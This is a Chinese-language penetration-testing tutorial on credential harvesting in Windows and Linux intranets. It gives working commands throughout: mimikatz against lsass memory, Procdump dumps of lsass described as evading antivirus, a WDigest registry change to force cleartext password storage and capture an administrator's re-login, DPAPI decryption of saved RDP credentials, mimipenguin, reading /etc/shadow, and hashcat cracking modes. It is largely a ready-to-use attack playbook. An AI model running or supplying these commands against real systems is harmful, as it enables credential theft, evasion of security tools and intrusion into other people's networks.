概述
凭据抓取是内网渗透中获取可用凭据(明文密码、NTLM Hash、Kerberos 票据等)的关键环节,主要从内存、磁盘文件、注册表等位置提取。
Windows 密码获取
适用环境
微软为了防止明文密码泄露发布了补丁 KB2871997,关闭了 Wdigest 功能。
当系统为 Win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
原理
mimikatz 是一款功能强大的轻量级调试神器,通过它可以提升进程权限、注入进程、读取进程内存,直接从 lsass.exe 进程中获取系统用户名和密码。
lsass.exe 是微软 Windows 系统的安全机制,主要用于本地安全和登录策略。通常我们在登录系统之后,密码便会储存在 lsass 内存中,经过 wdigest 和 tspkg 两个模块调用,对其使用可逆算法进行加密并存储在内存中,mimikatz 正是对 lsass 逆算获取密码。
Mimikatz 模块
cls:清屏
standard:标准模块,基本命令
crypto:加密相关模块
sekurlsa:与证书相关模块
kerberos:kerberos模块
privilege:提权模块
process:进程模块
service:服务模块
lsadump:lsadump模块
ts:终端服务器模块
event:事件模块
misc:杂项模块
token:令牌操作模块
vault:windows证书模块
minesweeper:Mine Sweeper模块
net:
dpapi:DPAPI模块(通过API或者RAW访问)
busylight:Busylight 模块
sysenv:系统环境模块
sid:安全标识符模块
iis:IIS XML配置模块
rpc:mimikatz的RPC控制
sr98:用于SR98设备和Tss77目标的RF模块
rdm:RDM器件的射频模块
acr:acr模块
version:查看版本
exit:退出
在线读
https://github.com/gentilkiwi/mimikatz
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
离线读
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump 是微软官方的工具,可在命令行将 lsass 导出且杀软不会拦截,适合在 Mimikatz 被拦截时使用。
实验1:针对防护拦截(Mimikatz 被拦截)
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full
实验2:针对高版本但有存储(管理员登陆过,密码留在了内存中)
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full
解决高版本(开启 Wdigest 明文抓取)
思路:修改注册表 + 强制锁屏 + 等待系统管理员重新登录 + 截取明文密码。
修改注册表来让 Wdigest Auth 保存明文口令:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
之后模拟用户重新登陆,即可成功抓取明文密码。
密码破解
hashcat
-m 密文类型
-a 破解类型
?l 小写
?s 符号
?d 数字
RDP 凭据抓取
查看连接记录:
cmdkey /list
查找本地的 Credentials:
dir /a %userprofile%\appdata\local\microsoft\credentials\*
Credentials 记录 guidMasterKey 值:
mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B找到 guidMasterKey 对应的 MasterKey:
mimikatz sekurlsa::dpapi解密指定的 MasterKey 凭据:
mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:9c0ed75255d7b011294cb4944560608667e3a19bdf3ee5b0f1a58775a96e3c48aa8e5f2070bb65f774f401b13e548e99181c20dd29a7952c31031e754f59efd2
Linux 密码获取
适用环境(mimipenguin)
Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
操作
chmod 755 ./mimipenguin.sh
./mimipenguin.sh
密码破解
cat /etc/shadow
hashcat.exe -a 3 -m 1800 linuxhash.txt pass.txt
加密形式(通过密文前缀判断):
- linux
sha512crypt $6$, SHA512 (Unix)加密方式:
hashcat -m 1800 sha512linux.txt p.txt
- linux
sha256crypt $5$, SHA256 (Unix)加密方式:
hashcat -m 7400 sha256linux.txt p.txt
- linux
md5crypt $1$, MD5 (Unix), Cisco-IOS加密方式:
hashcat -m 500 linuxmd5.txt p.txt
- linux
bcrypt $2*$, Blowfish (Unix)加密方式:
hashcat -m 3200 linuxmd5.txt p.txt